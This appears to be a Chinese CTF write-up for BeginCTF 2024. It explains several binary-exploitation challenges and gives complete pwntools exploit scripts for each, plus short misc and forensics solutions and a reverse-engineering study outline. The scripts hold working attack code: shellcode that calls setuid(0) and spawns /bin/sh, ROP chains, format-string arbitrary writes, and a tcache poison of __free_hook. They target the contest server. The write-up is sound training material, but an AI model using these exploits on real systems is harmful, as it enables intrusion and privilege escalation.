pwn

one_byte

刚刚好能覆盖返回地址一个字节,看了一下返回地址是一个libc的地址,29dxx,把29dxx附件的汇编看了一遍,没有很直接的输出函数,或者是跳转到输出函数的汇编,。那这时候的思路是把一个字节爆破一遍,把有输出的字节全部记录下来,最后发现在 \x89那回到了main函数,把下一位flag输出出来了

.text:0000000000029D89 48 8B 44 24 08                mov     rax, [rsp+98h+var_90]
.text:0000000000029D8E FF D0                         call    rax

mov rax [rsp + 8] 刚刚好取到了main函数的起始地址,然后由于输出flag是根据rbp 加一个偏移去取flag字符的地址,重新call flag的时候 rbp更新,刚刚好取到下边,太巧妙了

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "101.32.220.189"
PORT = 32371

elf = context.binary = ELF('./one_byte')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()


# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()
# g(p)
payload = b'a' * 0x11 + b'\x89'
flag = b''
for i in range(70):
    try:

        sa("Are you satisfied with the result?\n",payload)
        ru("gift: ")
        flag += r(1)
    except:
        pass


print(flag)

p.interactive()

unhappy

确实是unhappy,想了半天,限制了h用不了64位的寄存器,卡在写binsh那一步了,在想有什么方法可以写寄存器高三十二位,后面发现,能不能再syscall一次read,这样就能绕过前面的cmp了

爆破 哪些指令不能用的脚本

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "101.32.220.189"
PORT = 32371

elf = context.binary = ELF('./unhappy')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()


# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


bytecodes = [bytes([i]) for i in range(256)]
disablebytecode = [bytes([i]) for i in b"happyHAPPY"]

result = []

for k in range(1,4):

    for i in itertools.product(bytecodes, repeat = k):
        s = b""
        for j in range(len(i)):
            if(i[j] not in disablebytecode):
                s = b""
                break
            s += i[j]
        if s != b"":
            result.append(s)

print(len(result))

with open("disable.txt","w") as f:
    for i in result:
        l = disasm(i)
        f.write(l + '\n')

exp 远程打过去,flag要root权限才能读,Unhappy文件的属主是root,查了一下有一个叫setuid的系统调用能修改子进程的权限

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32227

elf = context.binary = ELF('./unhappy')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



p = connect()

shellcode = asm('''
    xor eax,eax
    xor edi,edi
    syscall
''')
s(shellcode)


shellcode = asm('nop') * 0x7
shellcode += asm('''
    mov rax,105
    mov rdi,0
    syscall  
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    push 0x3b
    pop rax
    xor esi, esi
    xor edx, edx
    syscall
''')

s(shellcode)

# print(shellcode)


# disablebytecode = "happyHAPPY"

# for i in shellcode:
#     if chr(i) in disablebytecode:
#         print("######")
#         print(chr(i),end="")


p.interactive()

gift_rop

看了一下,是静态链接的程序,那就是ret2syscall了,有rdi rsi rdx的gadget,也有binsh,fd 1 2关了,但是可以重定向0 ,cat flag>&0就好了

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32113

elf = context.binary = ELF('./gift_rop')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



p = connect()

rdi = 0x0000000000401f2f
rsi = 0x0000000000409f9e
rdx = 0x000000000047f20b # 0x000000000047f20b : pop rdx ; pop rbx ; ret
syscall = 0x0000000000401ce4
rax = 0x0000000000448077

binsh = 0x00000000004c50f0

ru("problem.\n")

payload = flat([
    b'a' * (0x20 + 0x8),
    rax,0x3b,rdi,binsh,rsi,0,rdx,0,0,syscall
])
s(payload)



p.interactive()

no_money

$禁用了,不能用%n$n这种方式去写数据,调试了一会,尝试了一些假设后发现,用大量的%p%p%p%n来模拟这个%n$n的效果是可行的,原来格式化字符串是这样解析的,学到了,远程的栈布局和本地有些小差别,需要注意一下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-54h]
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Welcome to beginCTF again!");
  puts("I'm sorry to tell you that We don't have the funds.");
  puts("So I will not give you $.");
  while ( 1 )
  {
    puts("Your payload:");
    read(0, buf, 0x100uLL);
    for ( i = 0; i <= 255; ++i )
    {
      if ( buf[i] == 36 )
        exit(-1);
    }
    printf(buf);
    check_target();
  }
}
int check_target()
{
  int result; // eax

  result = target;
  if ( target )
    return system("/bin/sh");
  return result;
}

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 30144

elf = context.binary = ELF('./no_money')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



p = connect()

payload = b"%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"

sa("Your payload:\n",payload)
ru("-(nil)-")
ru("-(nil)-")
ru("-(nil)-")
elf_base = int(r(14),16) - (0x55769f50f277 - 0x55769f50e000)
success(hex(elf_base))
target = elf_base + 0x404C

# g(p)
payload = b"%p%p%p%p%p%p%p%p%p%p%p%nbbbbbbbb" + p64(target)
sa("Your payload:\n",payload)


p.interactive()

ezpwn

咱是笨蛋没有看到有个gift,一直在想怎么泄露libc的地址,%s,command和buf挨着,都初始化了一遍,后面发现有个gift,那直接把返回地址的低位改了,返回地址刚刚好也是一个elf的地址

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32610

elf = context.binary = ELF('./ezpwn')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def write_data_one_byte(idx,data):
    sla("Input your choice.\n","1")
    sla("Please input index.\n",str(idx))
    sla("please input value\n",data)

def command(command):
    sla("Input your choice.\n","2")
    sa("Please input your echo command",command)



p = connect()

write_data_one_byte(0x220 + 0x8,chr(0x51) + chr(0x51))
sla("Input your choice.\n","4")



p.interactive()

zeheap

学了一天堆,调了大半天,终于出了。

首先是怎么绕过这个标记位 mark,可以发现除了free都会对这个标记位进行检查,在free那存在一个uaf,绕过这个标记位,可以通过 create(0) -> delete(0) ->create(1),这样list里面就有两个相同的地址,通过0去free,那就得到了一个tcache chunk,可以通过1去编辑 访问。

unsigned __int64 creat()
{
  int v0; // ebx
  unsigned int v2; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  puts("num:");
  __isoc99_scanf("%d", &v2);
  if ( v2 <= 0xF && !mark[v2] )
  {
    v0 = v2;
    *((_QWORD *)&list + v0) = malloc(0x80uLL);
    memset(*((void **)&list + (int)v2), 0, 0x80uLL);
    mark[v2] = 1;
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("num:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF )
  {
    free(*((void **)&list + (int)v1));
    mark[v1] = 0;
  }
  return __readfsqword(0x28u) ^ v2;
}

利用思路是2.32之前malloc malloc hook free hook还没有删除,在执行free之前会有这样的操作,malloc也是一样,去写malloc hook 或者free hook就能劫持控制流,具体怎么写,2.31 unsorted bin attack已经不可行了,但是可以改tcachebin的next为 malloc hook的地址,那分配的时候就会分配到malloc hook那,那怎么样才能知道malloc hook的地址呢,只有一个unsortedbin的时候 fd和bk都是指向main_arena,这个main_arena是一个libc相关的地址,首先把tcache填满,然后free掉一个堆块,这个堆块就是unsortedbin,通过uaf去 show unsortedbin中的数据去泄露libc的地址

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32131

elf = context.binary = ELF('./zeheap')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create(num):
    sla("choose:\n","1")
    sla("num:\n",str(num))

def edit(num,context):
    sla("choose:\n","2")
    sla("num:\n",str(num))
    sa("read:\n",context)

def show(num):
    sla("choose:\n","3")
    sla("num:\n",str(num))

def delete(num):
    sla("choose:\n","4")
    sla("num:\n",str(num))


p = connect()


create(11)
delete(11)
create(12)
delete(11)
show(12)
r(8)
heap_base = u64(ru(b"\x00")[:-1].ljust(8,b'\x00')) - 0x10
success(hex(heap_base))
create(11)
# g(p)

for i in range(9):
    create(i)

for i in range(8):
    delete(i)

for i in range(7):
    create(i)


create(9)

for i in range(7):
    create(i)

for i in range(7):
    delete(i)


delete(7)
show(9)

r(8)
libc_base = u64(ru(b"\x00")[:-1].ljust(8,b'\x00')) - (0x7fe5b65adbe0 - 0x7fe5b63c1000)
free_hook= libc_base + libc.sym['__free_hook']

success(hex(libc_base))
success(hex(free_hook))

create(0)
delete(6)

edit(0,p64(free_hook))
create(1)
create(2)


system = libc_base + libc.sym['system']

edit(2,p64(system))

payload = b"/bin/sh"

edit(1,payload)
# g(p)
delete(1)



p.interactive()

cat

去查询了一下 strcat 是在字符串结尾添加一个新字符串,strcpy是把字符串复制到一个新的位置,结尾会有\x00。这一题有canary,那思路是read buf的时候把canary的低位填充,这样通过strcat往后边写rop,然后再用strcpy把canary的低位补回去。后面发现有一个backdoor函数,不用打ret2libc了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts("read:");
  read(0, a1, 0x100uLL);
  puts("read:");
  read(0, a2, 0x100uLL);
  vul(a1, a2);
  return 0;
}
unsigned __int64 __fastcall vul(const char *a1, const char *a2)
{
  __int64 buf[2]; // [rsp+10h] [rbp-40h] BYREF
  char dest[8]; // [rsp+20h] [rbp-30h] BYREF
  __int64 v5; // [rsp+28h] [rbp-28h]
  char v6[8]; // [rsp+30h] [rbp-20h] BYREF
  __int64 v7; // [rsp+38h] [rbp-18h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  *(_QWORD *)dest = 0LL;
  v5 = 0LL;
  *(_QWORD *)v6 = 0LL;
  v7 = 0LL;
  puts("read:");
  read(0, buf, 0x100uLL);
  strcat(dest, a1);
  strcpy(v6, a2);
  return v8 - __readfsqword(0x28u);
}
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 31147

elf = context.binary = ELF('./cat')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cat_flag = 0x4011FE

p = connect()

payload = b"a" * 2
payload += p64(cat_flag)

sa("read:\n",payload)
sa("read:\n",b'a' * (0x20 - 8))

# g(p)
sa("read:\n",b'a' * (0x40 - 0x7))




p.interactive()

aladdin

第一次做 格式化字符串不在栈上的题目,发现只有任意地址写和任意地址读 和 栈上格式化字符串有些差别,但是可以找一个 双重指针 去写地址,这样问题就解决了

这个题目还有一个沙箱,把execve禁用了,我查了一下有一个叫execveat的系统调用,但是没有找到修改r8寄存器的gadget,就打orw了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int16 v4; // [rsp+0h] [rbp-40h] BYREF
  __int16 *v5; // [rsp+8h] [rbp-38h]
  __int16 v6; // [rsp+10h] [rbp-30h] BYREF
  char v7; // [rsp+12h] [rbp-2Eh]
  char v8; // [rsp+13h] [rbp-2Dh]
  int v9; // [rsp+14h] [rbp-2Ch]
  __int16 v10; // [rsp+18h] [rbp-28h]
  char v11; // [rsp+1Ah] [rbp-26h]
  char v12; // [rsp+1Bh] [rbp-25h]
  int v13; // [rsp+1Ch] [rbp-24h]
  __int16 v14; // [rsp+20h] [rbp-20h]
  char v15; // [rsp+22h] [rbp-1Eh]
  char v16; // [rsp+23h] [rbp-1Dh]
  int v17; // [rsp+24h] [rbp-1Ch]
  __int16 v18; // [rsp+28h] [rbp-18h]
  char v19; // [rsp+2Ah] [rbp-16h]
  char v20; // [rsp+2Bh] [rbp-15h]
  int v21; // [rsp+2Ch] [rbp-14h]
  __int16 v22; // [rsp+30h] [rbp-10h]
  char v23; // [rsp+32h] [rbp-Eh]
  char v24; // [rsp+33h] [rbp-Dh]
  int v25; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v26; // [rsp+38h] [rbp-8h]

  v26 = __readfsqword(0x28u);
  v6 = 32;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 21;
  v11 = 1;
  v12 = 0;
  v13 = 59;
  v14 = 53;
  v15 = 1;
  v16 = 0;
  v17 = 0;
  v18 = 6;
  v19 = 0;
  v20 = 0;
  v21 = 327680;
  v22 = 6;
  v23 = 0;
  v24 = 0;
  v25 = 2147418112;
  v4 = 5;
  v5 = &v6;
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  prctl(22, 2LL, &v4);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("Aladdin's lamp will grant you three wishes");
  while ( --chance )
  {
    printf("your %d wish:\n", (unsigned int)chance);
    memset(wish, 0, sizeof(wish));
    read(0, wish, 0x100uLL);
    if ( strstr(wish, "one more wish") )
    {
      puts("no way!");
      break;
    }
    printf(wish);
  }
  printf("The wonderful lamp is broken");
  return 0;
}

思路是 找一个双重指针去写 printf函数的返回地址实现 没有次数限制的格式化字符串 还有劫持控制流,然后用格式化字符串把rbp和rbp + 8 修改成 wish和 leave ret的地址,在read的时候把orw的rop链写到wish里面,然后栈迁移过去打orw

远程环境栈布局有些不同,36 - 51 这个指针 远程要改成36 - 52

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 30727

elf = context.binary = ELF('./aladdin')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()


payload = "%7$p-%35$p-%17$p" # stack_addr libc_addr elf_addr
sla("wish:\n",payload)

stack_addr = int(r(14),16)
ru("-")
libc_base = int(r(14),16) - (0x7f089c229e40 - 0x7f089c200000)
ru("-")
elf_base = int(r(14),16) - (0x555555555229 - 0x555555554000)
wish = elf_base + 0x4060

success(f"stack_addr ->{hex(stack_addr)}")
success(f"libc_base ->{hex(libc_base)}")
success(f"elf_base ->{hex(elf_base)}")
success(f"chance_addr ->{hex(wish)}")


printf_return_addr = stack_addr - (0x7fffffffe190 - 0x7fffffffe178)
rbp_addr = printf_return_addr + (0x7ffd5abd41d0 - 0x7ffd5abd4188)
ret_addr = rbp_addr + 8

success(f"printf_return_addr ->{hex(printf_return_addr)}")
success(f"rbp_addr ->{hex(rbp_addr)}")
success(f"ret_addr ->{hex(ret_addr)}")


# 36 0x7fffffffe270 —▸ 0x7fffffffe2e8 —▸ 0x7fffffffe5d4 ◂— 'SHELL=/bin/bash'
# 51 0x7fffffffe2e8 —▸ 0x7fffffffe5d4 ◂— 'SHELL=/bin/bash'

payload = "%" + str(printf_return_addr & 0xffff) + "c%36$hn"
sa("wish:\n",payload)


# 11:0088│     0x7fffa79926c0 —▸ 0x7fffa7992798 —▸ 0x7fffa79935bb ◂— '/home/lhj/Desktop/beginctf/aladdin/aladdin' %22$p
# 2c:0160│ r12 0x7fffa7992798 —▸ 0x7fffa79935bb ◂— '/home/lhj/Desktop/beginctf/aladdin/aladdin' %49$p


wish = wish - 8
wish += 0x10

# 修改rbp的值为wish的地址,一次写两个字节
payload = "%" + str(0x66) + "c%52$hhn" 
payload += "%" + str((rbp_addr & 0xffff) - 0x66) + "c%22$hn" 
rl()
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn" 
payload += "AAAA%" + str((wish & 0xffff) - 0x66 - 4) + "c%49$hn"
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn" 
payload += "AAAA%" + str((rbp_addr & 0xffff) + 2 - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn" 
payload += "AAAA%" + str(((wish >> 16) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn" 
payload += "AAAA%" + str((rbp_addr & 0xffff) + 4 - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn" 
payload += "AAAA%" + str(((wish >> 32) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

leave_ret = libc_base + 0x000000000004da83

# 修改 rbp + 8 为 libc中的leave ret
payload = "%" + str(0x66) + "c%52$hhn" 
payload += "AAAA%" + str((ret_addr & 0xffff) - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn" 
payload += "AAAA%" + str(((leave_ret) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn" 
payload += "AAAA%" + str((ret_addr & 0xffff) + 2 - 0x66 - 4) + "c%22$hn"
# ru("AAAA")
time.sleep(1.5)
s(payload)

payload = "%" + str(0x66) + "c%52$hhn" 
payload += "AAAA%" + str(((leave_ret >> 16) & 0xffff) - 0x66 - 4) + "c%49$hn"
# ru("AAAA")
time.sleep(1.5)
# g(p)
s(payload)


# 布置新栈 打rop

open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']

rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx = libc_base + 0x00000000000796a2


payload = b"%" + str(0xf8).encode() + b"c%52$hhn"
payload = payload.ljust(0x10,b"a")


payload += flat([
    rdi,0,rsi,wish,rdx,0xf,read,
    rdi,wish,rsi,0,open,
    rdi,3,rsi,wish,rdx,0x30,read,
    rdi,1,rsi,wish,rdx,0x30,write
])



# ru("AAAA")
# g(p)
time.sleep(1.5)
s(payload)
time.sleep(1.5)
s(b'./flag\x00\x00')

p.interactive()

misc

real check in

看出现的字符范围,一看就是base32

MJSWO2LOPNLUKTCDJ5GWKX3UN5PUEM2HNFXEGVCGL4ZDAMRUL5EDAUDFL5MU6VK7O5UUYMK7GEYWWZK7NE3X2===
begin{WELCOMe_to_B3GinCTF_2024_H0Pe_YOU_wiL1_11ke_i7}

Forensics

逆向工程(reverse)入门指南

https://blog.csdn.net/weixin_43605586/article/details/102925973

全选粘贴 得到flag

beginctf_reverse入门
指南
可执行文件
EXE
脱壳 
手动
ESP定律
内存镜像法
在程序入口的附近都有一个很大的jmp
工具
反调试 
调用系统IsDebuggerPresent等系统API
调用PEB结构体中的成员
TLS回调函数
SEH结构体异常化
枚举进程名称等其他方式
创建线程循环校验
根据代码执行时间判断是否被调试
混淆
花指令 Nop掉
Ollvm
deflat.py脚本
ida d810插件
虚拟化保护 仔细分析程序各个处理块、还原出原本的伪汇编
指令
SMC,自修改代码:指在程序运行过程中会对程
序自身的代码段进行解密或更改,使静态分析无
法直接获取程序的执行信息。可以用idapython进
行脚本patch还原解密过程
双进程 通过创建子进程并进行进程间通信实现反调试和
加解密的操作 完成解密后dump进程内存
win32程序 windows窗口创建找winproc函数、分析各类信息
的处理块
ELF
反调试 利用ptrace进行反调试
花指令 识别并nop
fork 父子进程通信
安卓
静态分析
java层 使用jadx反汇编smail代码 静态分析
native层
native 使用ida分析.so文件中的代码
观察是否有 JNI_Onload 动态注册函数
动态反调试
调用系统函数
父进程ID检测
如果不可以调试
修改程序流程即可
java层 修改.smail中的字节码 并重新打包
native层 对.so文件进行patch 并替换原的.so文件
安卓加壳
使用反射大师进行脱壳
利用xposed框架或者frida框架进行hook
不可执行文件
非x86汇编语言
unicorn模拟执行
qemu模拟执行
python字节码
pycdc
uncompyle
AST 语法树
其它语言源码
非c语言编译程序
rust 有符号看符号,没符号动调看逻辑
c# dnspy反编译,de4dot反混淆
go
ida新版本支持恢复符号,旧版本ida找go恢复符
号的插件,注意64位go语言的调用约定与c不一
样
e语言 ida插件
c++ 静态分析加动态调试分析类结构还原程序逻辑
lua
字节码魔改
字节码反编译
分析方法
静态分析
熟悉程序的加载流程
不同的编译器会有不同的变化:start-
>init_array->main->fini_array或者start-
>initterm->tlscallback->main->cexit
函数调用约定
cdecl
stdcall
fastcall
thiscall
各种程序的主函数位置
命令行:main
窗口:winproc
go: main_main
c#: assembly-CSharp.dll
动态调试
int3中断
最常用的中断类型,直接将中断位置的汇编改为
int3,可以被crc检测到
内存读写中断
将当前位置的可读可写权限进行更改,当当前位
置被访问或更改的时候断下来
硬件断点
根据cpu提供的cr*寄存器进行断点,不会被crc检
测
常用技巧
在等待外部输入时断下来,可以断在scanf等输
入函数内部,通过层层返回父函数至程序主逻辑
处。
对输入的字符下硬件断点只观察对输入的检测或
更改操作简化分析、也可通过对输入的更改进行
猜测函数的作用
加密算法识别
加解密 
常见编码:如Base64 注意是否换表、utf-8、
unicode等
对称加密:TEA、XTEA、XXTEA、RC4、
blowfish、aes、des等、可以用ida findcrypt插
件识别常见算法。同时注意常规的加密算法是否
被魔改
非对称加密:rsa
有时候也会有万进制之类的大数计算
自定义的加密要自己设计解密算法
方程组求解问题用python z3库约束求解
迷宫问题
获取正确的迷宫Map 注意起点、终点以及障碍物
分析迷宫的走法 : 不一定都是wasd 单步走
注意是否为多层迷宫
其他游戏贪吃蛇、数独、数织等等..
tips
在解决算法逆向是 尽量使用c语言还原 (数据类型一定要与加密时一
致)。同时要注意数据是 有符号还是无符号的
有时候如果明文空间不大的话 可以采用爆破的
方式。对单个字节进行加密并没有进行字符间的
混淆操作可以对密文进行逐字节爆破。
可能通过loadlibrary + GetProcAddress的方式
隐式调用。也可以通过对程序名进行hash后通过
hash验证来隐式调用库函数。
查看AndroidManifest.xml 中 \<application> 元
素中是否包含了 android:debuggable="true"
begin{0kay_1_thiNK_YoU_Ar3_a1Re@DY_rE4D_6uiDe8ooK_AnD_9OT_FL46}
⬆︎TOP